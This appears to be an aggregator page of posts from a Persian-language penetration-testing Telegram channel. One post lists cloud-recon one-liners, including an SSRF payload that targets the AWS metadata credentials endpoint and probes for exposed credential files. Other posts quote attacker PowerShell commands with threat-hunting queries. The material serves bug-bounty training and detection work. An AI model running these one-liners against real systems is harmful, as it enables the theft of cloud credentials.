Try Hack Box

Public

View Channel

3.9M

775K

290

Can't Join? @TryHackBox

6.2k Members

Updated: May 5, 2026 at 12:15 PM

Try Hack Box

1 Nov 2020 1399/08/11 آموزش تست نفوذ و ردتیم https://linkedin.com/company/tryhackbox-org/ یوتیوب https://youtube.com/@tryhackbox کانال ها : @TryHackBoxOfficial ( نقشه راه ) @TryHackBoxStory ( اخبار و داستانهای هک ) پشتیبانی : @ThbxSupport

@TryHackBox is a dedicated channel for httpsyoutubecomtryhackbox and thbxsupport with regular updates in Hacking Tools

Ranking

Global Ranking

#456

Language Ranking

#45

Category Ranking

#23

-1

Participant Growth (Last 3 Days)

Total: 6.2K

24h growth: +0 0%

Latest Posts

Try Hack Box

Apr 24, 2026, 06:33 AM

pinned a photo

Try Hack Box

Apr 24, 2026, 06:33 AM

✎ Cloud Security One Liners

• AWS S3 Bucket Finder
cat urls.txt | grep -oE "[a-zA-Z0-9.-]+\.s3\.amazonaws\.com" | anew s3_buckets.txt
cat urls.txt | grep -oE "s3://[a-zA-Z0-9.-]+" | anew s3_buckets.txt

• S3 Permission Check
cat s3_buckets.txt | xargs -I@ sh -c 'aws s3 ls s3://@ --no-sign-request 2>/dev/null && echo "OPEN: @"'

• Firebase Database
cat urls.txt | grep -oE "[a-zA-Z0-9-]+\.firebaseio\.com" | xargs -I@ curl -s @/.json | grep -v "null"

• Azure Blob Storage
cat urls.txt | grep -oE "[a-zA-Z0-9-]+\.blob\.core\.windows\.net" | anew azure_blobs.txt

• GCP Storage
cat urls.txt | grep -oE "storage\.googleapis\.com/[a-zA-Z0-9-]+" | anew gcp_buckets.txt

• AWS Metadata SSRF
cat urls.txt | gf ssrf | qsreplace "http://169.254.169.254/latest/meta-data/iam/security-credentials/" | httpx -silent -ms "AccessKeyId"

• Cloud Credential Files
cat alive.txt | httpx -silent -path /.aws/credentials,/.docker/config.json,/kubeconfig -mc 200 | anew cloud_creds.txt
| https://t.me/TryHackBoxOfficial
#باگ_بانتی #کلاد 🕊🥀

2,110

Try Hack Box

Apr 24, 2026, 06:33 AM

📎 File

🔖 در عملیات تیم قرمز، اغلب با پیاده‌سازی‌ های داخلی VDI روبرو می‌شویم که دسترسی به اینترنت و شبکه خارجی ندارند، و به همین دلیل نمی‌توانیم اسکریپت‌ های PowerShell خود را برای شمارش AD و کاربران آن در سیستم ‌های آسیب‌دیده دانلود کنیم.

در بیشتر دوره ‌های تیم قرمز، دانشجویان را تشویق می ‌کنند تا از اسکریپت‌ های PowerShell آماده برای شمارش محیط AD استفاده کنند، مانند  powerview.ps1، که روشی بسیار مناسب و غیرپیچیده است. اما اگر این روش مناسب برای ما نامناسب شود و اجازه دانلود اسکریپت‌های PowerShell یا هر ابزار دیگری از اینترنت در سیستم آسیب‌دیده را نداشته باشیم، چه باید کرد؟
اسکریپت‌هایی مانند Powerview.ps1 از توابع برای ساده‌سازی کارها استفاده می‌کنند. اما برخی از دستورات تک‌ خطی وجود دارند که می ‌توانند همان کار را در صورت عدم دسترسی به powerview انجام دهند.
در این آموزش، به بررسی این دستورات تک ‌خطی می‌پردازیم که می‌توانند به ما در شمارش AD کمک کنند.

توییتر بنده : https://www.x.com/kavehxnet

🥀🕊🖤
https://t.me/KavehOffSec
#ردتیم

1,240

Try Hack Box

Apr 24, 2026, 06:33 AM

🔖 مینی دوره #رایگان نصب و راه‌اندازی لابراتورهای تست نفوذ وب قسمت اول : DVWA، Juice Shop و VulnerableApp

توی این ویدئو نحوه نصب راحت و آسان سه تا لابراتوار فوق العاده برای تمرین گفتیم

1 - dvwa : https://github.com/sagikazarmark/docker-dvwa
2 - juice shop : https://github.com/juice-shop/juice-shop
3 - VunlableApp : https://github.com/SasanLabs/VulnerableApp

🔗از لینک هایی که گذاشتیم میتونید برید و سر بزنید به اصل داکیومنت ها و بخونید

⚠️توصیه مهم ای که هست حتما سرویس ها رو بعد از استفاده خاموش کنید

"دست هاتون رو آلوده کنید و شروع کنید به تمرین تمرین تمرین"

🔗 https://youtu.be/G6jdNx5JHv4

انتقادی داشتید حتما اطلاع بدید، تا بتونیم آموزش با کیفیت‌تری ارائه بدیم،امیدواریم از آموزش لذت ببرید.

ما رو در شبکه های زیر دنبال داشته باشید :
🥀 | https://t.me/TryHackBoxOfficial

https://www.linkedin.com/company/tryhackbox-org | https://youtube.com/@tryhackbox | https://github.com/TryHackBox/ | http://www.instagram.com/TryHackBox
#HomeLab #WebPentest #dvwa #docker

Try Hack Box

Apr 24, 2026, 06:33 AM

[poll]
🚀 قسمت دوم بوتکمپ SOC 0x4131! در این قسمت، با مفاهیم شبکه سر و کله زدیم :  - مدل های مفهومی نتورک در عمل ما باهاشون چطور برخورد میکنیم - پروتکل های مهم و کمک کننده چیا هستن - مکانیزم های آدرس دهی در شبکه چیست با بررسی این مباحث آماده میشیم که در ماژول بعد…

1,610

Try Hack Box

Apr 24, 2026, 06:33 AM

🔖 مهاجمان همچنان به آزمایش با پلتفرم‌ های مختلف مدیریت از راه دور ادامه می‌ دهند، بنابراین امروز یک مثال دیگر از ابزارهای دسترسی از راه دور را بررسی می‌کنیم: نرم‌افزار Desktop Remote (T1219.002).

به مورد https://www.proofpoint.com/us/blog/threat-insight/crossed-wires-case-study-iranian-espionage-and-attribution نگاه می‌کنیم. مهاجم از ایمیل‌ های فیشینگ برای سرقت اطلاعات حساب کاربری و همچنین برای ارسال آرشیوهایی با فایل‌ های MSI استفاده کرده است که RMM را بارگذاری می‌کنند.

در اکثر موارد، مهاجمان از PDQConnect نرم‌افزار نظارت و مدیریت از راه دور استفاده کرده‌اند.

اگر شما از این نرم‌افزار در زیرساخت خود استفاده نمی‌کنید، این می‌ تواند تارگت خوبی برای شکار باشد:

event_type: "processcreatewin"

AND

proc_file_productname: "PDQConnectAgent"
همچنین می‌توانید به دنبال دامنه‌های مرتبط بگردید:

event_type: "dnsreqwin"

AND

dns_rname: "app.pdq.com"
نظرات خود را با ما به اشتراک بگذارید

🕊 | 🥀 https://t.me/TryHackBoxOfficial
#امنیت_سایبری

2,410

Try Hack Box

Apr 24, 2026, 06:33 AM

🔖 استفاده از ماشین‌های مجازی برای بایپس کردن ابزارهای امنیتی روز به روز محبوب‌ تر می‌شود. امروز به یک نمونه دیگر از پیاده‌سازی زیرتکنیک Hide Artifacts: Run Virtual Instance (T1564.006) نگاهی خواهیم انداخت.

بر اساس https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines، مهاجم قابلیت Hyper-V را بر روی یک ماشین ویندوزی که به خطر افتاده بود، فعال کرد و سپس یک ماشین مجازی مبتنی بر Alpine Linux که حاوی بدافزار بود، دانلود و وارد کرد.

پس از دانلود، ماشین مجازی با استفاده از PowerShell وارد شد:
"cmd.exe" /C powershell.exe -c import-vm -path "c:\\programdata\\microsoft\\AppV\\app\\Virtual Machines\\1DBCC80B-5803-4AF1-8772-712C688F408A.vmcx" -Copy -GenerateNewId > c:\\Programdata\\WindowsUpdateTask_t.tmp 2>&1
همچنین از PowerShell برای راه‌اندازی ماشین مجازی تازه وارد شده استفاده شد:

"cmd.exe" /C powershell.exe -c Start-VM -name WSL > c:\\Programdata\\WindowsUpdateTask_R.tmp 2>&1
به عنوان مثال، می‌توان به دنبال دستورات مربوط به مدیریت ماشین‌ های مجازی گشت:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: ("import-vm" OR "start-vm")
آیا تا به حال با تکنیک‌ های مشابه ای مواجه شده‌اید؟ نظرات و تجربیات خود را به اشتراک بگذارید!

🕊 | https://t.me/TryHackBoxOfficial
#امنیت_سایبری

2,460

Try Hack Box

Apr 24, 2026, 06:33 AM

📷 Photo

🎉 تخفیف ویژه ۵۰٪ روی دوره‌های آموزشی؛ فرصتی عالی برای ورود جدی به دنیای SOC و امنیت سایبری

این دوره‌ها بر اساس تجربه عملی در بازار کار و نیاز واقعی شرکت‌ها طراحی شده‌اند و تاکنون صدها ساعت آموزش کاربردی و مبتنی بر پروژه ارائه شده است.

1️⃣ دوره جامع SOC Tier 1 (بر اساس تجربیات عملی بازار کار)

2️⃣ دوره تخصصی SOC Tier 2 (مخصوص بازار کار – در حال برگزاری)

3️⃣ دوره جامع پیش‌نیازهای تست نفوذ (۹ دوره در یک مسیر کامل)

و...

برای مشاوره رایگان و ثبت نام با ایدی زیر در تلگرام در تماس باشید.

🆔 https://t.me/steymouri93

نکته : دوستانی که شرایط اقتصادی خوبی ندارند امکان خرید اقساطی هم براشون فراهم هست.
من با اکثر بچه‌ها کنار میام ❤️

مارو به دوستاتون معرفی کنید.

🆔 https://t.me/Sajjad_Teymouri

Try Hack Box

Apr 24, 2026, 06:33 AM

📷 Photo

🤖 XBOW
🔖 — شماره ۱ جهان در H1

برای اولین بار، شکارچی باگ هوش مصنوعی خودران به صدر جدول جهانی رسید! و در حالی که تو هنوز به گذاشتن گیومه ادامه می‌دهی، باید بگویم که این نه گذشته است و نه آینده، بلکه اکنون است!

نظرتون راجب این چیه؟

گروه جهت مشارکت در این گفتگو :

https://t.me/+XPV3S0tygl1lZGE0

#باگ_بانتی
| https://t.me/TryHackBoxOfficial

2,250

Try Hack Box

Apr 24, 2026, 06:33 AM

#ّگفتگو

در تجربه شما با استفاده از گزینه "Use suite scope" در ابزارهای تست امنیتی، چه چالش‌هایی را مواجه شدید و چگونه بر آنها غلبه کردید؟ آیا پس از فعال‌ سازی این گزینه، بهبودی در عملکرد خود در شناسایی باگ‌ ها مشاهده کردید؟ لطفاً مثالی از یک مورد خاص به اشتراک بگذارید. همچنین، آیا تفاوت‌ های خاصی در روش‌ های کار با این ابزارها با و بدون این گزینه مشاهده کرده‌اید و چگونه این تفاوت‌وها نتایج شما را تحت تأثیر قرار داده است؟ در نهایت، چه عواملی شما را به استفاده از "Use suite scope" تشویق کردند و آیا تصمیم دارید این روش را در آینده ادامه دهید؟ چرا؟

دوستان این بخشی از مطالب کتاب جدید ما هست و دوستانی که اشنایی با Use suite scope ندارند آشنا می شوند .

لینک گروه جهت مشارکت در این گفتگو :

https://t.me/+XPV3S0tygl1lZGE0

#باگ_بانتی

2,030

Showing 10 of 10 posts

No more posts

Loading posts...

Rating

User Reviews (0)

No reviews yet. Be the first to share your experience!

Loading reviews...

Related Telegram Channels

Magic Tipster 🧙

970

tapswap community

12.5m0

alpine linux espanol

Loading recommended channels...

Try Hack Box

Try Hack Box

Ranking

Participant Growth (Last 3 Days)

Latest Posts

Rating

User Reviews (0)

Related Telegram Channels

Magic Tipster 🧙

tapswap community

alpine linux espanol

FreeFont.Pro — Best Free Fonts Daily

EZKROW

Tricks Hub | Latest Tricks

[🛡] MTProxyBoy

clover's corner.𖥔 ݁ ˖𓂃.☘︎ ݁˖

Related Telegram Channels

Magic Tipster 🧙

tapswap community

alpine linux espanol

FreeFont.Pro — Best Free Fonts Daily

EZKROW

Tricks Hub | Latest Tricks

[🛡] MTProxyBoy

clover's corner.𖥔 ݁ ˖𓂃.☘︎ ݁˖

User Reviews (0)

Latest Posts